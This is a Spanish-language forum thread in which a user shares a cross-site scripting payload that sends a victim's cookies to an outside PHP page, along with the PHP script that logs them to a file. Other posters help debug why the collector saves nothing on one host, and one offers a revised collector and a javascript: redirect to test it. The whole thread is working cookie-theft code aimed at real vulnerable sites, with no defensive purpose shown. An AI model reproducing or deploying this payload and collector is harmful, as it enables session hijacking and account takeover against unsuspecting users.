uso el siguiente codigo:
<script>document.location='http://mipagina.com/archivo.php?x='+document.cookie;</script>
donde archivo.php contiene lo siguiente:
1.
<?php
2.
$fp = fopen("datos.txt", "a+");
3.
$cookie = $_GET['x'];
4.
$salto = "\n-----------------------------\n";
5.
fwrite($fp,$salto);
6.
fwrite($fp,$cookie);
7.
fclose($fp);
8.
?>
Pero si el archivo php está hospedado en un servidor funciona y en otro no. En el que no funciona le di todos los permisos a la carpeta (777) y a los archivos que contiene para que pueda almacenar los datos, pero solo guarda la linea punteada "$salto", porqué puede suceder esto?
cuando la pagina vulnerable se redirecciona, en la url se ve todo el contenido de la cookie por document.cookie, pero estos datos no son tomados para ser escritos
haz escape(document.cookie) y asegurate que las cookies sean "leibles" por javascript.
El problema no son las cookies, porque en algunas paginas de webhosting el codigo php recibe la cadena con las cookies perfectamente, pero en otras no. Pensé que podria ser un problema común, pero igual muchas gracias sirdarckcat.
Mira creo que vi el error.
document.location estas trabajando sobre el documento
prueba con window.location :)
osea solo cmbia la palara document por window
:)
jajaja eso no tiene nada que ver..
Hay algunos servidores gratuitos y otros de pago donde por defecto traen un filtro bién pobre y molestoso, por ejemplo si usaste una variable llamada "act" en get entonces no te funcionará porque lo mas seguro es que te aparezca acceso denegado (asi pretenden evitar una c99 :rolleyes:), en ese caso trata de cambiarlo. Intenta hacer pruebas tu mismo y haz esto:
<?php
die('Test: '.nl2br(htmlspecialchars($_GET['x'], ENT_QUOTES)));
$fp = fopen("datos.txt", "a+");
$cookie = $_GET['x'];
$salto = "\n-----------------------------\n";
fwrite($fp,$salto);
fwrite($fp,$cookie);
fclose($fp);
?>
Luego vas probando...
Citarcookies.php?x=prueba
Te debe aparecer "prueba", luego intentas con una cookie y vas a google y escribes arriba tu redirección y vas viendo que te aparece:
Citarjavascript:document.location='http://www.miweb.com/cookies.php?x='+document.cookie;
Si te aparece biéne toda la cokie y las demás cosas en cookies.php entonces significa que tienes rpoblemas al escribir sobre el archivo, intenta reemplazar "a+" por "x" en el fopen.